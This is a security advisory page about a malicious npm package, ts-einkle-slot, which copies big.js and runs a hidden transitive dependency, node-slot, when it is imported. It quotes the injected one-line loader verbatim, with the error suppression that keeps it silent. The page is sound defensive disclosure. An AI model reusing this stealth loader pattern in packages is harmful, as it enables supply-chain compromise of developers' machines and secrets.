Malicious code in ts-einkle-slot (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f565a21645ed6a288a820dea60e648589a5cca95a91b2c90720f3d2bcadca73b) Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate `big.js` package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (`big.js` and `big.mjs`, referenced from `main`/`module`/`exports`) contain an injected top-level block: `try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`. This causes the transitive dependency `node-slot` (pulled in via the declared `ts-einkle` dependency) to be loaded and its `from_str()` invoked the moment any consumer `require`s or `import`s this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated `node-slot` runtime module on import. Installer harm is delivered by the attacker-controlled transitive `node-slot`, which is pulled into the install tree solely by virtue of installing this package. ## Source: ghsa-malware (9c0d1cd76e98be8f9edf4cd5efd216e927574836f0e026a532f1edbe1a370e88) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The ts-einkle-slot package published on npm mimics the legitimate big.js package by copying its source and metadata to spoof the publisher identity. However, its CommonJS and ESM entrypoints include injected code that immediately requires and invokes a method from the node-slot module, a transitive dependency introduced solely by this malicious package. This causes the node-slot code to execute upon any import or require of ts-einkle-slot, potentially delivering harmful effects controlled by the attacker. The package's advertised purpose does not justify loading node-slot, indicating malicious intent.
Potential Impact
Any project that installs or imports [email protected] will execute attacker-controlled code from the node-slot dependency without user awareness. This can lead to compromise of the host environment or supply chain contamination. The malicious code is designed to silently swallow errors to avoid detection and maintain functionality as a drop-in replacement for big.js, increasing the risk of unnoticed exploitation.
Mitigation Recommendations
Avoid installing or using the ts-einkle-slot package, especially version 0.0.8. Remove any instances of this package and its transitive dependencies from your projects and lockfiles. Since no official patch or fix is available, rely on package source verification and use trusted package registries. Monitor for any updates or advisories from npm or security databases regarding this package.
Malicious code in ts-einkle-slot (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f565a21645ed6a288a820dea60e648589a5cca95a91b2c90720f3d2bcadca73b) Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate `big.js` package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (`big.js` and `big.mjs`, referenced from `main`/`module`/`exports`) contain an injected top-level block: `try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`. This causes the transitive dependency `node-slot` (pulled in via the declared `ts-einkle` dependency) to be loaded and its `from_str()` invoked the moment any consumer `require`s or `import`s this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated `node-slot` runtime module on import. Installer harm is delivered by the attacker-controlled transitive `node-slot`, which is pulled into the install tree solely by virtue of installing this package. ## Source: ghsa-malware (9c0d1cd76e98be8f9edf4cd5efd216e927574836f0e026a532f1edbe1a370e88) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The ts-einkle-slot package published on npm mimics the legitimate big.js package by copying its source and metadata to spoof the publisher identity. However, its CommonJS and ESM entrypoints include injected code that immediately requires and invokes a method from the node-slot module, a transitive dependency introduced solely by this malicious package. This causes the node-slot code to execute upon any import or require of ts-einkle-slot, potentially delivering harmful effects controlled by the attacker. The package's advertised purpose does not justify loading node-slot, indicating malicious intent.
Potential Impact
Any project that installs or imports [email protected] will execute attacker-controlled code from the node-slot dependency without user awareness. This can lead to compromise of the host environment or supply chain contamination. The malicious code is designed to silently swallow errors to avoid detection and maintain functionality as a drop-in replacement for big.js, increasing the risk of unnoticed exploitation.
Mitigation Recommendations
Avoid installing or using the ts-einkle-slot package, especially version 0.0.8. Remove any instances of this package and its transitive dependencies from your projects and lockfiles. Since no official patch or fix is available, rely on package source verification and use trusted package registries. Monitor for any updates or advisories from npm or security databases regarding this package.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6525
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a3ef7aa27e9c79719ffb6a4
Added to database: 06/26/2026, 22:05:30 UTC
Last enriched: 06/26/2026, 22:25:55 UTC
Last updated: 07/31/2026, 08:23:45 UTC
Views: 49
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.